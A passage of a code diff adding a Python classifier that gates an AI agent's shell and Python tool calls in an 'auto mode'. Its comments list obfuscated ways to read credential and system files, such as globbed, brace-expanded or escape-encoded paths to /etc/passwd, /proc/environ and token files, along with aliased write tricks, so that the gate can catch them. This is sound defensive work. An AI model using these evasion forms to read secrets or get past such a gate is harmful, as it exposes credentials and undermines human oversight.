+        return False
+    return all(fnmatch.fnmatch(tseg, pseg) for pseg, tseg in zip(p, t))
+
+
+def _glob_token_sensitive(token: str) -> bool:
+    """True if a single ? / * / [..] glob token could expand to a sensitive file
+    or a file under a secret/credential directory. Shared by the terminal scan
+    and the Python glob check (glob.glob('/e??/passwd'))."""
+    token = _REDIR_PREFIX_RE.sub("", _SHELL_QUOTE_RE.sub("", token))
+    # A POSIX class ([[:lower:]]) matches one char, like `?`, but fnmatch treats
+    # it as a literal set; normalize so cat /etc/pass[[:lower:]]d resolves.
+    token = _POSIX_CLASS_RE.sub("?", token)
+    if not any(c in token for c in "?*["):
+        return False
+    if any(fnmatch.fnmatch(target, token) for target in _SENSITIVE_GLOB_TARGETS):
+        return True
+    # A glob that resolves to a credential basename is sensitive wherever it
+    # lives (cat ~/.huggingface/tok?n -> token, cat proj/.netr? -> .netrc); the
+    # fixed-target list only covers a handful of home paths.
+    base = token.rsplit("/", 1)[-1]
+    if any(c in base for c in "?*[") and any(
+        fnmatch.fnmatch(name, base) for name in _SENSITIVE_GLOB_BASENAMES
+    ):
+        return True
+    # A globbed directory that resolves into a secret/credential dir makes every
+    # file below it sensitive (cat /r?n/secrets/hf_token).
+    head = token.rsplit("/", 1)[0] if "/" in token else token
+    return any(
+        _pattern_matches_dir(token, d) or _pattern_matches_dir(head, d)
+        for d in _SENSITIVE_GLOB_DIRS
+    )
+
+
+def _glob_hits_sensitive(command: str) -> bool:
+    """True if any glob token in a command could expand to a sensitive file, so
+    `cat /e??/passwd` and `cat /r?n/secrets/hf_token` ask even without a literal
+    sensitive path."""
+    return any(
+        _glob_token_sensitive(token)
+        for token in command.replace(";", " ").replace("|", " ").split()
+    )
+
+
+def _expand_shell_assignments(command: str) -> str:
+    """Best-effort substitution of `NAME=value ... $NAME`, so a sensitive path
+    split across an assignment and an argument (p=/etc; cat $p/passwd) is still
+    visible to the sensitive-path scan. Also applies pattern replacement
+    (p=passXd; cat /etc/${p/X/w}). Fail-open: only adds detections."""
+    env = dict(_SHELL_ASSIGN_RE.findall(command))
+    if not env:
+        return command
+
+    def repl_pattern(m):
+        var, is_global, pat, rep = m.group(1), m.group(2), m.group(3), m.group(4)
+        if var not in env or not pat:
+            return m.group(0)
+        return env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1)
+
+    def repl_case(m):
+        var, op = m.group(1), m.group(2)
+        if var not in env:
+            return m.group(0)
+        v = env[var]
+        if op == ",,":
+            return v.lower()
+        if op == "^^":
+            return v.upper()
+        if op == ",":
+            return v[:1].lower() + v[1:]
+        return v[:1].upper() + v[1:]
+
+    def repl_indirect(m):
+        # ${!p} -> value of the variable named by $p (env[env[p]]).
+        pointed = env.get(m.group(1))
+        return env.get(pointed, m.group(0)) if pointed is not None else m.group(0)
+
+    command = _SHELL_PARAM_INDIRECT_RE.sub(repl_indirect, command)
+    command = _SHELL_PARAM_REPL_RE.sub(repl_pattern, command)
+    command = _SHELL_PARAM_CASE_RE.sub(repl_case, command)
+    return _SHELL_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command)
+
+
+def _expand_param_defaults(command: str) -> str:
+    """Substitute the operand of a default/alternate parameter expansion
+    (cat /etc/pass${x:-wd} -> cat /etc/passwd), which bash applies after this
+    classifier. Fail-open: only adds detections."""
+    return _SHELL_PARAM_OP_RE.sub(lambda m: m.group(1), command)
+
+
+def _decode_ansi_c(command: str) -> str:
+    """Decode bash ANSI-C quoted words (cat $'/etc/pass\\x77d' -> cat /etc/passwd)
+    so an escape-obfuscated path is visible to the scan. Fail-open: only adds
+    detections."""
+
+    def dec(m):
+        try:
+            return bytes(m.group(1), "utf-8").decode("unicode_escape")
+        except (UnicodeDecodeError, ValueError):
+            return m.group(0)
+
+    return _ANSI_C_RE.sub(dec, command)
+
+
+def _brace_range(lo: str, hi: str, step: "str | None") -> "list[str]":
+    """Expand a bash sequence brace endpoint pair ({1..3}, {a..c}, {w..w})."""
+    try:
+        istep = abs(int(step)) if step else 1
+        istep = istep or 1
+        if re.fullmatch(r"-?\d+", lo) and re.fullmatch(r"-?\d+", hi):
+            a, b = int(lo), int(hi)
+            rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
+            return [str(x) for x in rng][:64]
+        if len(lo) == 1 and len(hi) == 1 and lo.isalpha() and hi.isalpha():
+            a, b = ord(lo), ord(hi)
+            rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
+            return [chr(x) for x in rng][:64]
+    except (ValueError, TypeError):
+        pass
+    return []
+
+
+def _brace_options(text: str) -> "list[str]":
+    """Options a single brace group expands to (comma list or .. sequence)."""
+    m = _BRACE_COMMA_RE.match(text)
+    if m:
+        return m.group(1).split(",")
+    m = _BRACE_SEQ_RE.match(text)
+    if m:
+        return _brace_range(m.group(1), m.group(2), m.group(3)) or [text]
+    return [text]
+
+
+def _expand_braces(command: str) -> str:
+    """Best-effort bash brace expansion (cat /etc/pass{w,}d -> cat /etc/passwd
+    /etc/passd, cat /etc/pass{w..w}d -> cat /etc/passwd) so a sensitive path
+    split across a brace group is scanned. Bounded. Fail-open: only detects."""
+    results = [command]
+    for _ in range(6):
+        if not any(_BRACE_ANY_RE.search(s) for s in results):
+            break
+        expanded = []
+        for s in results:
+            m = _BRACE_ANY_RE.search(s)
+            if not m:
+                expanded.append(s)
+                continue
+            for opt in _brace_options(m.group(0)):
+                expanded.append(s[: m.start()] + opt + s[m.end() :])
+        results = expanded[:64]
+    return " ".join(results)
+
+
+def _mode_arg_writes(mode_node) -> bool:
+    """True if an AST node used as a file mode requests write/append."""
+    if mode_node is None:
+        return False  # default "r"
+    if isinstance(mode_node, ast.Constant) and isinstance(mode_node.value, str):
+        return bool(_PY_WRITE_MODE_RE.search(mode_node.value))
+    return True  # dynamic mode: cannot prove read-only
+
+
+def _has_kwarg_splat(node) -> bool:
+    """True if the call has a ``**kwargs`` splat, which can hide a write mode."""
+    return any(kw.arg is None for kw in node.keywords or [])
+
+
+def _builtin_open_writes(node) -> bool:
+    """Write check for builtin ``open(file, mode)`` (mode is the 2nd arg)."""
+    if _has_kwarg_splat(node):
+        return True  # **{"mode": "w"} could request a write
+    if any(isinstance(a, ast.Starred) for a in node.args):
+        return True  # *("f", "w") could splat a write mode into the positionals
+    mode = node.args[1] if len(node.args) >= 2 else None
+    for kw in node.keywords or []:
+        if kw.arg == "mode":
+            mode = kw.value
+    return _mode_arg_writes(mode)
+
+
+def _attr_open_writes(node) -> bool:
+    """Write check for ``x.open(...)`` (e.g. ``Path.open(mode)`` where mode is
+    the 1st arg). Only a mode-looking string is read as the mode, so a
+    ``ZipFile.open("name.txt")`` read is not mistaken for a write."""
+    if _has_kwarg_splat(node):
+        return True  # **{"mode": "w"} could request a write
+    for kw in node.keywords or []:
+        if kw.arg == "mode":
+            return _mode_arg_writes(kw.value)
+    if node.args:
+        first = node.args[0]
+        if isinstance(first, ast.Constant) and isinstance(first.value, str):
+            if _PY_MODE_LITERAL_RE.match(first.value):
+                return bool(_PY_WRITE_MODE_RE.search(first.value))
+            # A 2nd positional arg is either a mode (x.open(name, "w")) or
+            # os.open(path, O_CREAT) flags via an alias: honor a string mode,
+            # otherwise cannot prove read-only, so ask.
+            if len(node.args) >= 2:
+                second = node.args[1]
+                if isinstance(second, ast.Constant) and isinstance(second.value, str):
+                    return _mode_arg_writes(second)
+                return True
+            return False
+        return True  # dynamic first arg: cannot prove read-only
+    return False  # no args: read
+
+
+_PATH_CTORS = (
+    "Path",
+    "PurePath",
+    "PurePosixPath",
+    "PureWindowsPath",
+    "PosixPath",
+    "WindowsPath",
+)
+# Deterministic path pass-through/normalizer calls that return the same location
+# (os.path.abspath('/etc') -> /etc, Path('/etc').resolve() -> /etc), so folding
+# through them keeps a sensitive root visible to the scan.
+_PATH_PASSTHROUGH_ATTRS = frozenset(
+    {"abspath", "normpath", "realpath", "expanduser", "expandvars", "resolve", "absolute"}
+)
+# pathlib methods that rewrite only the final path component, so the sensitive
+# target is never spelled out as a literal (Path('/etc/x').with_name('passwd')
+# -> /etc/passwd). Folded below so the rewritten path is still scanned.
+_PATH_NAME_REWRITES = frozenset({"with_name", "with_stem", "with_suffix"})
+# Mapping-style %-format conversion specifier: %(name)s / %(n)5.2f. Used to fold
+# '/etc/%(f)s' % {'f': 'passwd'} to /etc/passwd (a dynamic value becomes NUL).
+_PERCENT_NAMED_RE = re.compile(r"%\((\w+)\)[-#0 +]*\d*(?:\.\d+)?[a-zA-Z]")
+
+
+def _folded_path(
+    node,
+    literals = None,
+    ctors = None,
+    join_names = None,
+) -> "str | None":
+    """Best-effort value of a path built from string literals, so a sensitive
+    path assembled from pieces (os.path.join('/etc', 'passwd'), '/etc'+'/passwd',
+    Path('/etc') / 'passwd', f'/proc/{pid}/environ', f'/etc/{name}') is still
+    visible to the scan. A dynamic piece becomes NUL, a non-slash placeholder,
+    so a dynamic segment under a sensitive dir (/etc/NUL) is still detectable.
+    ``literals`` maps names bound to string literals (base = '/etc'); ``ctors``
+    is the set of pathlib constructor names (incl. import aliases); ``join_names``
+    are bare names bound to os.path.join (from os.path import join)."""
+    literals = literals or {}
+    ctors = ctors or _PATH_CTORS
+    join_names = join_names or frozenset()
+
+    def fold(node) -> "str | None":
+        if isinstance(node, ast.Constant) and isinstance(node.value, (str, bytes)):
+            # bytes paths are valid too (open(b'/etc/passwd')); decode for scan.
+            return (
+                node.value.decode("latin-1", "ignore")
+                if isinstance(node.value, bytes)
+                else node.value
+            )
+        if isinstance(node, ast.Name):
+            return literals.get(node.id)
+        if isinstance(node, ast.Attribute) and node.attr in ("parent", "parents"):
+            # A pathlib .parent/.parents walks above the current dir, escaping
+            # the per-session workdir without a literal '..'; mark it so a read
+            # folds to unsafe (\x02 is a non-slash escape sentinel).
+            return "\x02"
+        if (
+            isinstance(node, ast.Subscript)
+            and isinstance(node.value, ast.Attribute)
+            and (node.value.attr == "parents")
+        ):
+            return "\x02"  # Path(...).parents[1]
+        if isinstance(node, ast.JoinedStr):
+            return "".join(
+                v.value
+                if isinstance(v, ast.Constant) and isinstance(v.value, str)
+                else (fold(v.value) or "\x00")
+                if isinstance(v, ast.FormattedValue)
+                else "\x00"
+                for v in node.values
+            )
+        if isinstance(node, ast.BinOp) and isinstance(node.op, (ast.Add, ast.Div)):
+            left = fold(node.left)
+            right = fold(node.right)
+            left = "\x00" if left is None else left
+            right = "\x00" if right is None else right
+            # Path('/etc') / 'passwd' joins with a separator; '+' concatenates.
+            return left + "/" + right if isinstance(node.op, ast.Div) else left + right
+        if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mod):
+            # Old-style formatting: '%s/%s' % ('/etc', 'passwd') -> /etc/passwd.
+            template = fold(node.left)
+            if template is not None and "%" in template:
+                rhs = node.right
+                if "%(" in template:
+                    # Mapping-style: '/etc/%(f)s' % {'f': 'passwd'} -> /etc/passwd.
+                    # A literal dict resolves each name; an unresolved value or a
+                    # non-literal mapping leaves the NUL marker so /etc/<dynamic>
+                    # still fails closed under a sensitive dir.
+                    mapping: "dict[str, str]" = {}
+                    if isinstance(rhs, ast.Dict):
+                        for k, v in zip(rhs.keys, rhs.values):
+                            if isinstance(k, ast.Constant) and isinstance(k.value, str):
+                                fv = fold(v)
+                                mapping[k.value] = fv if fv is not None else "\x00"
+                    return _PERCENT_NAMED_RE.sub(
+                        lambda m: mapping.get(m.group(1), "\x00"), template
+                    )
+                if isinstance(rhs, ast.Tuple):
+                    args = tuple((fold(e) or "\x00") for e in rhs.elts)
+                else:
+                    single = fold(rhs)
+                    args = (single if single is not None else "\x00",)
+                try:
+                    return template % args
+                except (TypeError, ValueError, KeyError):
+                    return None
+            return None
+        if isinstance(node, ast.Call):
+            func = node.func
+            if isinstance(func, ast.Attribute) and func.attr == "joinpath":
+                # Path('/etc').joinpath('passwd') -> receiver and args are pieces.
+                base = fold(func.value)
+                parts = [base if base is not None else "\x00"]
+                parts += [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            if isinstance(func, ast.Attribute) and func.attr in ("glob", "rglob", "iglob"):
+                # Path('/etc').glob('passw?') -> the receiver dir joined with the
+                # glob pattern; _glob_token_sensitive then tests /etc/passw?.
+                base = fold(func.value)
+                pattern = fold(node.args[0]) if node.args else "\x00"
+                return (base if base is not None else "\x00") + "/" + (pattern or "\x00")
+            if isinstance(func, ast.Attribute) and func.attr in _PATH_NAME_REWRITES:
+                # Path('/etc/x').with_name('passwd') -> /etc/passwd; with_stem /
+                # with_suffix rewrite only the final component. Fold to the
+                # rewritten path so a sensitive target that no literal spells out
+                # is still caught. An unresolved receiver stays None (untracked,
+                # like a bare variable), and a dynamic arg becomes the NUL marker.
+                base = fold(func.value)
+                if base is None:
+                    return None
+                arg = fold(node.args[0]) if node.args else None
+                arg = "\x00" if arg is None else arg
+                idx = base.rfind("/")
+                head = base[: idx + 1] if idx >= 0 else ""
+                name = base[idx + 1 :] if idx >= 0 else base
+                dot = name.rfind(".")
+                stem = name[:dot] if dot > 0 else name
+                suffix = name[dot:] if dot > 0 else ""
+                if func.attr == "with_name":
+                    name = arg
+                elif func.attr == "with_stem":
+                    name = arg + suffix
+                else:  # with_suffix
+                    name = stem + arg
+                return head + name
+            if isinstance(func, ast.Attribute) and func.attr in _PATH_PASSTHROUGH_ATTRS:
+                # Deterministic normalizers keep the same path: os.path.abspath(
+                # '/etc') -> /etc, Path('/etc').resolve() -> /etc. When called with
+                # a path arg fold it, else fold the receiver (Path method form).
+                return fold(node.args[0]) if node.args else fold(func.value)
+            if isinstance(func, ast.Attribute) and func.attr == "join":
+                # str.join has the separator as the receiver and the pieces in
+                # one iterable arg ("".join(['/etc', '/passwd']) -> /etc/passwd);
+                # tell it apart from os.path.join(*pieces).
+                sep = fold(func.value)
+                if (
+                    sep is not None
+                    and len(node.args) == 1
+                    and isinstance(node.args[0], (ast.List, ast.Tuple))
+                ):
+                    pieces = [(fold(e) or "\x00") for e in node.args[0].elts]
+                    return sep.join(pieces)
+                parts = [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            # A bare os.path.join alias (from os.path import join): join(*pieces).
+            if isinstance(func, ast.Name) and func.id in join_names:
+                parts = [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            # A bare/qualified/aliased pathlib constructor (Path(...), P(...)).
+            if (isinstance(func, ast.Attribute) and func.attr in ctors) or (
+                isinstance(func, ast.Name) and func.id in ctors
+            ):
+                parts = [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            # '/etc/{}'.format('passwd') -> /etc/passwd (literal template + args).
+            if isinstance(func, ast.Attribute) and func.attr == "format":
+                template = fold(func.value)
+                if template is not None and "{" in template:
+                    parts = []
+                    for a in node.args:
+                        if isinstance(a, ast.Constant):
+                            parts.append(str(a.value))
+                        else:
+                            folded = fold(a)
+                            parts.append("\x00" if folded is None else folded)
+                    try:
+                        return template.format(*parts)
+                    except (IndexError, KeyError, ValueError):
+                        return None
+        return None
+
+    return fold(node)
+
+
+def _dynamic_name_hits_sensitive(folded) -> bool:
+    """True if a folded path with a dynamic piece (NUL) inside a path segment
+    could spell a credential target, e.g. open('/et' + chr(99) + '/passwd')
+    folds to '/et\\x00/passwd'. NUL matches any run of non-separator chars so the
+    dynamic split of a sensitive name resolves, while an all-dynamic ('\\x00\\x00')
+    or segment-spanning ('\\x00/\\x00') path cannot form a single credential name
+    and stays safe."""
+    if not folded or "\x00" not in folded:
+        return False
+    pattern = "".join(r"[^/\\]*" if ch == "\x00" else re.escape(ch) for ch in folded)
+    try:
+        rx = re.compile(pattern + r"\Z")
+    except re.error:
+        return True  # pathological pattern: fail closed
+    return any(rx.match(t) for t in _SENSITIVE_GLOB_TARGETS)
+
+
+def _folded_is_sensitive(folded) -> bool:
+    """A folded path is sensitive if it names a credential file, has a dynamic
+    segment (NUL) directly under a sensitive directory (/etc/NUL), walks out of
+    the sandbox via a pathlib .parent/.parents escape (\\x02), or is a glob that
+    could resolve to a credential path (glob.glob('/e??/passwd'))."""
+    if not folded:
+        return False
+    return (
+        "\x02" in folded
+        or _references_sensitive_path(folded)
+        or ("\x00" in folded and bool(_SENSITIVE_DIR_RE.search(folded)))
+        # A dynamic segment (NUL) can be the "/" forming a sensitive root:
+        # open(os.sep + "etc/passwd") folds to "\x00etc/passwd", so re-scan with
+        # NUL as "/" (a benign "\x00data/file" -> "/data/file" stays safe).
+        or ("\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/")))
+        # A dynamic piece can also sit INSIDE a sensitive name: open('/et' +
+        # chr(99) + '/passwd') folds to "/et\x00/passwd", which none of the above
+        # catch. Match the literals around each NUL against a credential target,
+        # treating NUL as "any run of non-separator chars" so /et<dyn>/passwd
+        # resolves while an all-dynamic ("\x00\x00" from 1 + 1) or segment-spanning
+        # ("\x00/\x00" from a + '/' + b) path stays safe.
+        or _dynamic_name_hits_sensitive(folded)
+        or _glob_token_sensitive(folded)
+    )
+
+
+def _terminal_is_potentially_unsafe(command: str) -> bool:
+    """Classify a terminal command for auto mode (fail closed)."""
+    if not command or not command.strip():
+        return False
+    # Redirections and substitutions can hide writes or nested commands; a
+    # quoted ">" false-positives into a prompt, which is the safe direction.
+    if ">" in command or "`" in command or "$(" in command or "<(" in command:
+        return True
+    # Reads that escape the sandbox workdir (../) or hit credential paths are
+    # not "safe" reads; ask before running them. Strip shell quotes/backslash
+    # escapes and expand NAME=value prefixes first so `cat /proc/$PPID/enviro''n`,
+    # `cat /et\c/passwd`, and `p="/proc/$PPID"; cat $p/environ` are caught too.
+    stripped = _SHELL_QUOTE_RE.sub("", command).replace("\\", "")
+    # Bash applies brace/parameter/ANSI-C expansion after this classifier, so a
+    # path split across a brace group (/etc/pass{w,}d), a default/substring param
+    # (${x:-wd}, ${p:0:6}), or an escape ($'...') is invisible to the raw scan;
+    # expand first (ANSI-C decoded from the raw command, before backslash strip).
+    candidates = []
+    for c in (command, stripped, _decode_ansi_c(command)):
+        c_param = _expand_param_defaults(c)
+        candidates.extend((c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param)))
+    # Run both the literal and glob-sensitive scans over every candidate, so a
+    # brace-expanded glob (cat /e{t,}c/pass?d -> /etc/pass?d) is caught.
+    if any(_glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates):
+        return True
+    # Newlines (and CR) separate commands in a shell but read as plain
+    # whitespace to shlex, which would demote "ls\nrm x" to argument position.
+    command = command.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")
+    try:
+        lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()")
+        lexer.whitespace_split = True
+        tokens = list(lexer)
+    except ValueError:
+        return True
+    # A root can also hide behind an assignment (p=/; grep -R TOKEN $p) or a
+    # default parameter (grep -R TOKEN ${root:-/home}); re-lex the fully expanded
+    # command so the find/fd and recursive-search scans see the resolved token.
+    expanded_command = _expand_shell_assignments(_expand_param_defaults(command))
+    if expanded_command != command:
+        try:
+            elexer = shlex.shlex(expanded_command, posix = True, punctuation_chars = ";&|()")
+            elexer.whitespace_split = True
+            scan_tokens = list(elexer)
+        except ValueError:
+            return True
+    else:
+        scan_tokens = tokens
+    # find/fd group with (...) which resets command context, so a trailing
+    # -delete/-exec could slip past; scan every token when find/fd appears.
+    if any(os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in scan_tokens):
+        if any(t.split("=", 1)[0] in _AUTO_UNSAFE_FIND_LIKE_FLAGS for t in scan_tokens):
+            return True
+    # A recursive reader rooted outside the sandbox reads host files (grep -R
+    # TOKEN /home, rg TOKEN /, grep -R TOKEN ~root, p=/; grep -R TOKEN $p, and
+    # the always-recursive walkers tree /home / du /); ask. Bash expands
+    # ~/~user to a home dir after this decision, so a tilde root is a sandbox
+    # escape too. A path-qualified command token starts with "/" as well, but
+    # that already asks below.
+    if any(t.startswith("/") or t.startswith("~") for t in scan_tokens):
+        token_bases = [os.path.basename(t.strip(";&|()`{}")).lower() for t in tokens]
+        if any(b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS for b in token_bases):
+            return True
+        # ls only walks the whole subtree with -R/--recursive (ls -R /home,
+        # ls -laR /); a non-recursive ls /home lists one level and stays here.
+        if "ls" in token_bases and any(
+            t.split("=", 1)[0] in ("-R", "--recursive")
+            or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
+            for t in tokens
+        ):
+            return True
+    expect_command = True
+    prefix_pending = False
+    current_command = ""
+    positional_args = 0
+    pending_flag_value = False
+    for token in tokens:
+        # Runs of punctuation (";;", ";&") lex as one token; any token made
+        # purely of separator characters still separates commands.
+        if (
+            token in _SHELL_SEPARATORS
+            or token in _SHELL_KEYWORDS_AS_SEP
+            or not set(token) - set(";&|()")
+        ):
+            expect_command = True
+            prefix_pending = False
+            current_command = ""
+            positional_args = 0
+            pending_flag_value = False
+            continue
+        if token.startswith("-"):
+            # A write/exec flag on an otherwise read-only command asks
+            # (sort -o, tree -o, xxd -r, find -exec/-delete/...). Match
+            # "--output=x", an attached short option "-o/tmp/out", and a short
+            # option bundled in a cluster (sort -uo out => -u -o).
+            flag_head = token.split("=", 1)[0]
+            cluster = token[1:] if token[:2] != "--" and "=" not in token else ""
+            # GNU tools accept unambiguous abbreviations of a long option, so
+            # `sort --out=` reaches --output and `env --ch=/` reaches --chdir;
+            # a "--x" prefix of an unsafe long flag fails closed.
+            is_long_abbrev = flag_head.startswith("--") and len(flag_head) > 2
+            for uf in _AUTO_UNSAFE_COMMAND_FLAGS.get(current_command, ()):
+                if flag_head == uf or (len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster)):
+                    return True
+                if is_long_abbrev and uf.startswith("--") and uf.startswith(flag_head):
+                    return True
+            # A flag that takes a following value (date -d STRING / -r FILE;
+            # uniq -f N; xxd -c N) so the value token is not mistaken for a
+            # clock-setting positional or an output-file positional.
+            pending_flag_value = "=" not in token and (
+                (current_command == "date" and flag_head in _DATE_DISPLAY_VALUE_FLAGS)
+                or flag_head in _SECOND_POSITIONAL_VALUE_FLAGS.get(current_command, ())
+            )
+            if not prefix_pending:
+                expect_command = False
+            continue
+        if not expect_command:
+            raw_pos = token.strip(";&|()`{}")
+            # uniq [INPUT [OUTPUT]] writes its second file positional; count file
+            # positionals and ask on the second one. A preceding option's value
+            # (uniq -f 2) is consumed via pending_flag_value, so a file literally
+            # named with digits (uniq 123 out) is still counted.
+            if current_command in _AUTO_SECOND_POSITIONAL_WRITES:
+                if pending_flag_value:
+                    pending_flag_value = False
+                elif raw_pos:
+                    positional_args += 1
+                    if positional_args >= 2:
+                        return True
+            # hostname NAME sets the hostname; date <timestamp> sets the clock. A
+            # positional past a display flag's value therefore mutates state and
+            # asks (date's +FORMAT display token stays read-only).
+            elif current_command in _AUTO_ARG_SENSITIVE_COMMANDS:
+                if pending_flag_value:
+                    pending_flag_value = False
+                elif raw_pos and not (current_command == "date" and raw_pos.startswith("+")):
+                    return True
+            continue
+        if _ASSIGNMENT_RE.match(token):
+            # Benign NAME=value prefixes are skipped, but ones that change
+            # command lookup/loading (PATH, LD_PRELOAD, ...) fail closed.
+            if _env_assignment_is_unsafe(token.split("=", 1)[0]):
+                return True
+            continue
+        if prefix_pending and token.lstrip("-").isdigit():
+            continue
+        raw = token.strip(";&|()`{}")
+        # A path-qualified command (./ls, /tmp/cat) is an arbitrary executable,
+        # not the trusted system utility its basename matches; ask first.
+        if "/" in raw or "\\" in raw:
+            return True
+        base = os.path.basename(raw).lower()
+        stem, ext = os.path.splitext(base)
+        if ext in {".exe", ".com", ".bat", ".cmd"}:
+            base = stem
+        if base in _AUTO_SAFE_WRAPPERS:
+            prefix_pending = True
+            # Track the wrapper so its own flags (env --chdir) are checked;
+            # the real command overwrites this when it is reached.
+            current_command = base
+            pending_flag_value = False
+            continue
+        if base not in _AUTO_SAFE_TERMINAL_COMMANDS:
+            return True
+        current_command = base
+        expect_command = False
+        prefix_pending = False
+        positional_args = 0
+        pending_flag_value = False
+    return False
+
+
+def _python_is_potentially_unsafe(code: str) -> bool:
+    """Classify python-tool code for auto mode (fail closed)."""
+    if not code or not code.strip():
+        return False
+    # Anything the sandbox's static analysis already objects to would be
+    # refused at execution time; surface it as a confirmation first.
+    if _check_code_safety(code) is not None:
+        return True
+    try:
+        tree = ast.parse(code)
+    except SyntaxError:
+        return False  # runs into a normal traceback; nothing to guard
+    # Names bound to the builtin open (f = open; from builtins import open as f;
+    # f, _ = (open, print)) so an aliased writer call is still checked below.
+    # builtins_aliases tracks `import builtins [as b]` for builtins.exec/eval.
+    open_aliases = {"open"}
+    # Attribute names bound to open (box.f = open), so a later box.f('out', 'w')
+    # write is still gated even though the callable is an attribute, not a name.
+    attr_open_aliases: "set[str]" = set()
+    builtins_aliases = {"builtins", "__builtins__"}
+    # Names bound to a dynamic lookup (rm = getattr(os, "remove");
+    # f = globals()["open"]) whose calls cannot be proven read-only, so they
+    # fail closed.
+    dynamic_aliases = set()
+    # Names bound to a dynamic-code builtin, including aliased ones
+    # (from builtins import eval as e; e = builtins.exec), so a call or
+    # reference through the alias fails closed too. compile() builds a code
+    # object that FunctionType/exec can then run.
+    code_exec_aliases = {"exec", "eval", "__import__", "breakpoint", "compile"}
+    # Names bound to a string literal (base = '/etc'), so a sensitive path
+    # split through a variable (base + '/passwd') folds and is caught.
+    literal_str_vars: "dict[str, str]" = {}
+    # Pathlib constructor names incl. import aliases (from pathlib import Path as
+    # P), os.path.join names bound directly (from os.path import join as j), and
+    # writer functions imported as bare names (from numpy import save).
+    path_ctor_aliases = set(_PATH_CTORS)
+    pathjoin_aliases: "set[str]" = set()
+    writer_aliases: "set[str]" = set()
+    # Module names bound to os/posix (import os as o), so o.open(...) is still
+    # recognized as the low-level create/write that os.open is.
+    os_aliases = {"os", "posix"}
+    # Module names bound to a pickle-backed loader (import torch as t), so
+    # t.load(...) is still gated as a code-executing deserialize.
+    load_module_aliases = set(_AUTO_UNSAFE_PY_LOAD_MODULES)
+    # Names bound to the builtin getattr (g = getattr), so a dynamic lookup
+    # aliased through it (rm = g(os, "remove"); rm("f")) still fails closed.
+    getattr_aliases = {"getattr"}
+    # Names bound to functools.partial, so a partial that wraps open/a writer
+    # (w = partial(open, mode="w"); w("out.txt")) fails closed when w is called.
+    partial_aliases: "set[str]" = set()
+    # Archive constructors imported bare (from zipfile import ZipFile), so
+    # ZipFile(name, "w") is gated like the zipfile.ZipFile attribute call.
+    archive_ctor_aliases: "set[str]" = set()
+    # operator.methodcaller("write_text") is dynamic dispatch, like getattr.
+    operator_aliases = {"operator"}
+    methodcaller_aliases: "set[str]" = set()
+    # logging.basicConfig(filename=...) opens a log file for write.
+    basicconfig_aliases: "set[str]" = set()
+    # fileinput.input(..., inplace=True) rewrites a file in place.
+    fileinput_aliases = {"fileinput"}
+    # Higher-order invokers (map/filter/starmap/reduce) call their first arg, so
+    # one handed a writer (map(open, ...)) writes without a direct open() site.
+    # Track aliases (m = map; from itertools import starmap as sm) so an aliased
+    # invoker is still checked; the write-callable gate keeps map(len, ...) safe.
+    invoker_aliases = set(_HIGHER_ORDER_INVOKERS)
+
+    def _is_dynamic_namespace(node) -> bool:
+        # A namespace mapping whose .get/.pop/.setdefault (or subscript) can return
+        # open/eval/a mutator: globals()/locals()/vars(...), any X.__dict__,
+        # __builtins__, sys.modules. Looking a name up through one is as dynamic as
+        # getattr, so a value fetched from it fails closed.
+        if isinstance(node, ast.Attribute):
+            if node.attr == "__dict__":
+                return True
+            return (
+                node.attr == "modules"
+                and isinstance(node.value, ast.Name)
+                and node.value.id == "sys"
+            )
+        if isinstance(node, ast.Name):
+            return node.id in builtins_aliases
+        if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
+            return node.func.id in ("globals", "locals", "vars")
+        return False
+
+    def _methodcaller_writes(call) -> bool:
+        # operator.methodcaller("write_text", ...) / methodcaller(name): unsafe
+        # when the method name is a known writer/mutator, or non-constant (cannot
+        # be proven read-only).
+        if not call.args:
+            return False
+        first = call.args[0]
+        if not (isinstance(first, ast.Constant) and isinstance(first.value, str)):
+            return True
+        return first.value in _AUTO_UNSAFE_PY_ATTRS or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS
+
+    def _fileinput_inplace(call) -> bool:
+        # fileinput.input(..., inplace=True) opens each file for in-place rewrite.
+        if _has_kwarg_splat(call):
+            return True
+        for kw in call.keywords or []:
+            if kw.arg == "inplace":
+                v = kw.value
+                if isinstance(v, ast.Constant):
+                    return bool(v.value)
+                return True  # dynamic inplace flag: cannot prove read-only
+        return False
+
+    def _basicconfig_writes(call) -> bool:
+        # logging.basicConfig(filename=...) creates/opens a log file for writing.
+        if _has_kwarg_splat(call):
+            return True
+        return any(kw.arg == "filename" for kw in call.keywords or [])
+
+    def _wraps_write_callable(arg) -> bool:
+        # The callable a partial wraps (partial(open, ...)); True when calling it
+        # could create/overwrite a file or resolve a dynamic/mutating function.
+        if isinstance(arg, ast.Name):
+            return (
+                arg.id in open_aliases
+                or arg.id in dynamic_aliases
+                or arg.id in code_exec_aliases
+                or arg.id in getattr_aliases
+                or arg.id in writer_aliases
+                or arg.id in archive_ctor_aliases
+            )
+        if isinstance(arg, ast.Attribute):
+            return (
+                arg.attr == "open"
+                or arg.attr in _AUTO_UNSAFE_PY_ATTRS
+                or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
+                or arg.attr in _ARCHIVE_CTOR_NAMES
+            )
+        return False
+
+    def _passed_write_callable(arg) -> bool:
+        # A concrete write callable handed as an argument to another call: a
+        # name bound to open / a writer / an archive constructor, or an
+        # attribute reference to a writer method / mutating os attr / archive
+        # ctor / .open. Unlike _wraps_write_callable this omits the fail-closed
